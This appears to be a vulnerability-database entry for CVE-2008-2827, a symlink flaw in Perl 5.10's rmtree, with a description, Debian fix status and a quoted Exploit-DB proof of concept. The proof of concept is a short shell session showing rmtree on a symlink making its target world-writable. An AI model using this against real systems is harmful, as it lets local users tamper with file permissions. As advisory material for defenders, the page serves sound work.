CVE-2008-2827
Description
The rmtree function in lib/File/Path.pm in Perl 5.10 does not properly check permissions before performing a chmod, which allows local users to modify the permissions of arbitrary files via a symlink attack, a different vulnerability than CVE-2005-0448 and CVE-2004-0452.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Perl - 'rmtree()' Function Local Insecure Permissions
source: https://www.securityfocus.com/bid/29902/info
Computers running Perl are prone to a local vulnerability that occurs when handling symbolic links.
Attackers can leverage this issue to change the permissions of arbitrary files.
Perl 5.10.0 is vulnerable; other versions may also be affected.
% touch foo
% ln -s foo bar
% ls -l foo bar
lrwxrwxrwx 1 example example 3 2008-06-21 09:06 bar -> foo
-rw-r--r-- 1 example example 0 2008-06-21 09:06 foo
% perl -e 'use File::Path rmtree; rmtree bar'
% ls -l foo bar
ls: cannot access bar: No such file or directory
-rwxrwxrwx 1 example example 0 2008-06-21 09:06 foo OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 5.10.0-11 |
| sid | Fixed | 5.10.0-11 |
| forky | Fixed | 5.10.0-11 |
| bullseye | Fixed | 5.10.0-11 |
| bookworm | Fixed | 5.10.0-11 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.